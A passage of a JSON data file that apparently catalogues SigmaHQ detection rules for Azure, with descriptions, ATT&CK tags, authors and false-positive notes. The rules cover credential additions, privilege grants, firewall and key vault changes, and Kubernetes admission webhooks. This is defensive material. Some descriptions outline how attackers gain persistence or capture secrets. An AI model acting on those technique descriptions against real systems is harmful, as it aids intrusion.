- "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a application gateway is modified or deleted.", - "uuid": "ad87d14e-7599-4633-ba81-aeb60cfe8cd6", - "value": "Azure Application Gateway Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_gateway_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/16", - "filename": "azure_application_gateway_modified_or_deleted.yml", - "author": "Austin Songer", - "level": "medium", - "falsepositive": [ - "Application gateway being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Application gateway modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a application security group is modified or deleted.", - "uuid": "835747f1-9329-40b5-9cc3-97d465754ce6", - "value": "Azure Application Security Group Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_security_group_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/16", - "filename": "azure_application_security_group_modified_or_deleted.yml", - "author": "Austin Songer", - "level": "medium", - "falsepositive": [ - "Application security group being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Application security group modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when a configuration change is made to an applications AppID URI.", - "uuid": "1b45b0d1-773f-4f23-aedc-814b759563b1", - "value": "Application AppID Uri Configuration Changes", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#appid-uri-added-modified-or-removed", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_appid_uri_changes.yml" - ], - "tags": [ - "attack.t1528", - "attack.persistence", - "attack.credential_access" - ], - "creation_date": "2022/06/02", - "filename": "azure_app_appid_uri_changes.yml", - "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "level": "high", - "falsepositive": [ - "When and administrator is making legitimate AppID URI configuration changes to an application. This should be a planned event." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.", - "uuid": "cbb67ecc-fb70-4467-9350-c910bdf7c628", - "value": "Added Credentials to Existing Application", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-credentials", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_credential_added.yml" - ], - "tags": [ - "attack.t1098", - "attack.persistence" - ], - "creation_date": "2022/05/26", - "filename": "azure_app_credential_added.yml", - "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "level": "high", - "falsepositive": [ - "When credentials are added/removed as part of the normal working hours/workflows" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a application credential is modified.", - "uuid": "cdeef967-f9a1-4375-90ee-6978c5f23974", - "value": "Azure Application Credential Modified", - "meta": { - "refs": [ - "https://www.cloud-architekt.net/auditing-of-msi-and-service-principals/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_credential_modification.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/09/02", - "filename": "azure_app_credential_modification.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Application credential added may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Application credential added from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when highly privileged delegated permissions are granted on behalf of all users", - "uuid": "a6355fbe-f36f-45d8-8efc-ab42465cbc52", - "value": "Delegated Permissions Granted For All Users", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_delegated_permissions_all_users.yml" - ], - "tags": [ - "attack.privilege_escalation" - ], - "creation_date": "2022/07/28", - "filename": "azure_app_delegated_permissions_all_users.yml", - "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "level": "high", - "falsepositive": [ - "When the permission is legitimately needed for the app" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments.\nIf this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted.\nThis can be a misconfigured application or potentially something malicious.\n", - "uuid": "248649b7-d64f-46f0-9fb2-a52774166fb5", - "value": "Application Using Device Code Authentication Flow", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_device_code_authentication.yml" - ], - "tags": [ - "attack.t1078", - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.initial_access" - ], - "creation_date": "2022/06/01", - "filename": "azure_app_device_code_authentication.yml", - "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "level": "medium", - "falsepositive": [ - "Applications that are input constrained will need to use device code flow and are valid authentications." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when an end user consents to an application", - "uuid": "9b2cc4c4-2ad4-416d-8e8e-ee6aa6f5035a", - "value": "End User Consent", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-consent", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_end_user_consent.yml" - ], - "tags": [ - "attack.privilege_escalation" - ], - "creation_date": "2022/07/28", - "filename": "azure_app_end_user_consent.yml", - "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when end user consent is blocked due to risk-based consent.", - "uuid": "7091372f-623c-4293-bc37-20c32b3492be", - "value": "End User Consent Blocked", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-stopped-due-to-risk-based-consent", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_end_user_consent_blocked.yml" - ], - "tags": [ - "attack.privilege_escalation" - ], - "creation_date": "2022/07/10", - "filename": "azure_app_end_user_consent_blocked.yml", - "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.", - "uuid": "74298991-9fc4-460e-a92e-511aa60baec1", - "value": "Added Owner To Application", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#new-owner", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_owner_added.yml" - ], - "tags": [ - "attack.t1528", - "attack.persistence", - "attack.credential_access", - "attack.defense_evasion" - ], - "creation_date": "2022/06/02", - "filename": "azure_app_owner_added.yml", - "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "level": "medium", - "falsepositive": [ - "When a new application owner is added by an administrator" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when app permissions (app roles) for other APIs are granted", - "uuid": "ba2a7c80-027b-460f-92e2-57d113897dbc", - "value": "App Permissions Granted For Other APIs", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_for_api.yml" - ], - "tags": [ - "attack.privilege_escalation" - ], - "creation_date": "2022/07/28", - "filename": "azure_app_permissions_for_api.yml", - "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "level": "medium", - "falsepositive": [ - "When the permission is legitimately needed for the app" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD", - "uuid": "c1d147ae-a951-48e5-8b41-dcd0170c7213", - "value": "App Granted Microsoft Permissions", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_msft.yml" - ], - "tags": [ - "attack.privilege_escalation" - ], - "creation_date": "2022/07/10", - "filename": "azure_app_permissions_msft.yml", - "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "level": "high", - "falsepositive": [ - "When the permission is legitimately needed for the app" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions", - "uuid": "5aecf3d5-f8a0-48e7-99be-3a759df7358f", - "value": "App Granted Privileged Delegated Or App Permissions", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_privileged_permissions.yml" - ], - "tags": [ - "attack.privilege_escalation" - ], - "creation_date": "2022/07/28", - "filename": "azure_app_privileged_permissions.yml", - "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "level": "high", - "falsepositive": [ - "When the permission is legitimately needed for the app" - ], - "logsource.category": "No established category", - "logsource.product": "microsoft365portal" - } - }, - { - "description": "Detects when an app is assigned Azure AD roles, such as global adminsitrator, or Azure RBAC roles, such as subscription owner.", - "uuid": "b04934b2-0a68-4845-8a19-bdfed3a68a7a", - "value": "App Role Added", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#service-principal-assigned-to-a-role", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_role_added.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/07/19", - "filename": "azure_app_role_added.yml", - "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", - "level": "medium", - "falsepositive": [ - "When the permission is legitimately needed for the app" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly.\nThe application then uses those credentials to authenticate the user against the identity provider.\n", - "uuid": "55695bc0-c8cf-461f-a379-2535f563c854", - "value": "Applications That Are Using ROPC Authentication Flow", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_ropc_authentication.yml" - ], - "tags": [ - "attack.t1078", - "attack.defense_evasion", - "attack.persistence", - "attack.privilege_escalation", - "attack.initial_access" - ], - "creation_date": "2022/06/01", - "filename": "azure_app_ropc_authentication.yml", - "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "level": "medium", - "falsepositive": [ - "Applications that are being used as part of automated testing or a legacy application that cannot use any other modern authentication flow" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when a configuration change is made to an applications URI.\nURIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.\n", - "uuid": "0055ad1f-be85-4798-83cf-a6da17c993b3", - "value": "Application URI Configuration Changes", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-configuration-changes", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_uri_modifications.yml" - ], - "tags": [ - "attack.t1528", - "attack.persistence", - "attack.credential_access" - ], - "creation_date": "2022/06/02", - "filename": "azure_app_uri_modifications.yml", - "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", - "level": "high", - "falsepositive": [ - "When and administrator is making legitimate URI configuration changes to an application. This should be a planned event." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when an account is disabled or blocked for sign in but tried to log in", - "uuid": "4afac85c-224a-4dd7-b1af-8da40e1c60bd", - "value": "Account Disabled or Blocked for Sign in Attempts", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_blocked_account_attempt.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110" - ], - "creation_date": "2022/06/17", - "filename": "azure_blocked_account_attempt.yml", - "author": "Yochana Henderson, '@Yochana-H'", - "level": "medium", - "falsepositive": [ - "Account disabled or blocked in error", - "Automation account has been blocked or disabled" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Change to authentication method could be an indicated of an attacker adding an auth method to the account so they can have continued access.", - "uuid": "4d78a000-ab52-4564-88a5-7ab5242b20c7", - "value": "Change to Authentication Method", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_change_to_authentication_method.yml" - ], - "tags": [ - "attack.credential_access" - ], - "creation_date": "2021/10/10", - "filename": "azure_change_to_authentication_method.yml", - "author": "AlertIQ", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Define a baseline threshold for failed sign-ins due to Conditional Access failures", - "uuid": "b4a6d707-9430-4f5f-af68-0337f52d5c42", - "value": "Sign-in Failure Due to Conditional Access Requirements Not Met", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_conditional_access_failure.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110" - ], - "creation_date": "2022/06/01", - "filename": "azure_conditional_access_failure.yml", - "author": "Yochana Henderson, '@Yochana-H'", - "level": "high", - "falsepositive": [ - "Service Account misconfigured", - "Misconfigured Systems", - "Vulnerability Scanners" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when a Container Registry is created or deleted.", - "uuid": "93e0ef48-37c8-49ed-a02c-038aab23628e", - "value": "Azure Container Registry Created or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_container_registry_created_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/07", - "filename": "azure_container_registry_created_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "Container Registry being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Container Registry created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Number of VM creations or deployment activities occur in Azure via the azureactivity log.", - "uuid": "d2d901db-7a75-45a1-bc39-0cbf00812192", - "value": "Number Of Resource Creation Or Deployment Activities", - "meta": { - "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_creating_number_of_resources_detection.yml" - ], - "tags": [ - "attack.t1098" - ], - "creation_date": "2020/05/07", - "filename": "azure_creating_number_of_resources_detection.yml", - "author": "sawwinnnaung", - "level": "medium", - "falsepositive": [ - "Valid change" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a device in azure is no longer managed or compliant", - "uuid": "542b9912-c01f-4e3f-89a8-014c48cdca7d", - "value": "Azure Device No Longer Managed or Compliant", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_device_no_longer_managed_or_compliant.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/09/03", - "filename": "azure_device_no_longer_managed_or_compliant.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Administrator may have forgotten to review the device." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a device or device configuration in azure is modified or deleted.", - "uuid": "46530378-f9db-4af9-a9e5-889c177d3881", - "value": "Azure Device or Configuration Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_device_or_configuration_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/09/03", - "filename": "azure_device_or_configuration_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Device or device configuration being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Device or device configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when DNS zone is modified or deleted.", - "uuid": "af6925b0-8826-47f1-9324-337507a0babd", - "value": "Azure DNS Zone Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_dns_zone_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/08", - "filename": "azure_dns_zone_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "DNS zone modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "DNS zone modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when an user or application modified the federation settings on the domain.", - "uuid": "352a54e1-74ba-4929-9d47-8193d67aba1e", - "value": "Azure Domain Federation Settings Modified", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1078", - "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-monitor-federation-changes", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_federation_modified.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ], - "creation_date": "2021/09/06", - "filename": "azure_federation_modified.yml", - "author": "Austin Songer", - "level": "medium", - "falsepositive": [ - "Federation Settings being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Federation Settings modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a firewall is created, modified, or deleted.", - "uuid": "512cf937-ea9b-4332-939c-4c2c94baadcd", - "value": "Azure Firewall Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/08", - "filename": "azure_firewall_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Firewall being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Firewall modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.", - "uuid": "025c9fe7-db72-49f9-af0d-31341dd7dd57", - "value": "Azure Firewall Rule Collection Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_rule_collection_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/08", - "filename": "azure_firewall_rule_collection_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Rule Collections (Application, NAT, and Network) being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Rule Collections (Application, NAT, and Network) modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", - "uuid": "a622fcd2-4b5a-436a-b8a2-a4171161833c", - "value": "Granting Of Permissions To An Account", - "meta": { - "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Granting_Permissions_To_Account_detection.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_granting_permission_detection.yml" - ], - "tags": [ - "attack.t1098" - ], - "creation_date": "2020/05/07", - "filename": "azure_granting_permission_detection.yml", - "author": "sawwinnnaung", - "level": "medium", - "falsepositive": [ - "Valid change" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Monitor and alert on group membership additions of groups that have CA policy modification access", - "uuid": "91c95675-1f27-46d0-bead-d1ae96b97cd3", - "value": "User Added To Group With CA Policy Modification Access", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_group_user_addition_ca_modification.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2022/08/04", - "filename": "azure_group_user_addition_ca_modification.yml", - "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'", - "level": "medium", - "falsepositive": [ - "User removed from the group is approved" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Monitor and alert on group membership removal of groups that have CA policy modification access", - "uuid": "665e2d43-70dc-4ccc-9d27-026c9dd7ed9c", - "value": "User Removed From Group With CA Policy Modification Access", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_group_user_removal_ca_modification.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2022/08/04", - "filename": "azure_group_user_removal_ca_modification.yml", - "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'", - "level": "medium", - "falsepositive": [ - "User removed from the group is approved" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.", - "uuid": "0b4b72e3-4c53-4d5b-b198-2c58cfef39a9", - "value": "Guest User Invited By Non Approved Inviters", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_guest_invite_failure.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1078" - ], - "creation_date": "2022/08/10", - "filename": "azure_guest_invite_failure.yml", - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "level": "medium", - "falsepositive": [ - "A non malicious user is unaware of the proper process" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects the change of user type from \"Guest\" to \"Member\" for potential elevation of privilege.", - "uuid": "8dee7a0d-43fd-4b3c-8cd1-605e189d195e", - "value": "User State Changed From Guest To Member", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_guest_to_member.yml" - ], - "tags": [ - "attack.t1078" - ], - "creation_date": "2022/06/30", - "filename": "azure_guest_to_member.yml", - "author": "MikeDuddington, '@dudders1'", - "level": "medium", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a Keyvault Key is modified or deleted in Azure.", - "uuid": "80eeab92-0979-4152-942d-96749e11df40", - "value": "Azure Keyvault Key Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_key_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact", - "attack.credential_access", - "attack.t1552", - "attack.t1552.001" - ], - "creation_date": "2021/08/16", - "filename": "azure_keyvault_key_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Key being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Key modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a key vault is modified or deleted.", - "uuid": "459a2970-bb84-4e6a-a32e-ff0fbd99448d", - "value": "Azure Key Vault Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact", - "attack.credential_access", - "attack.t1552", - "attack.t1552.001" - ], - "creation_date": "2021/08/16", - "filename": "azure_keyvault_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Key Vault being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Key Vault modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when secrets are modified or deleted in Azure.", - "uuid": "b831353c-1971-477b-abb6-2828edc3bca1", - "value": "Azure Keyvault Secrets Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_secrets_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact", - "attack.credential_access", - "attack.t1552", - "attack.t1552.001" - ], - "creation_date": "2021/08/16", - "filename": "azure_keyvault_secrets_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Secrets being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when an admission controller is executed in Azure Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod.\nAn adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", - "uuid": "a61a3c56-4ce2-4351-a079-88ae4cbd2b58", - "value": "Azure Kubernetes Admission Controller", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_admission_controller.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1078", - "attack.credential_access", - "attack.t1552", - "attack.t1552.007" - ], - "creation_date": "2021/11/25", - "filename": 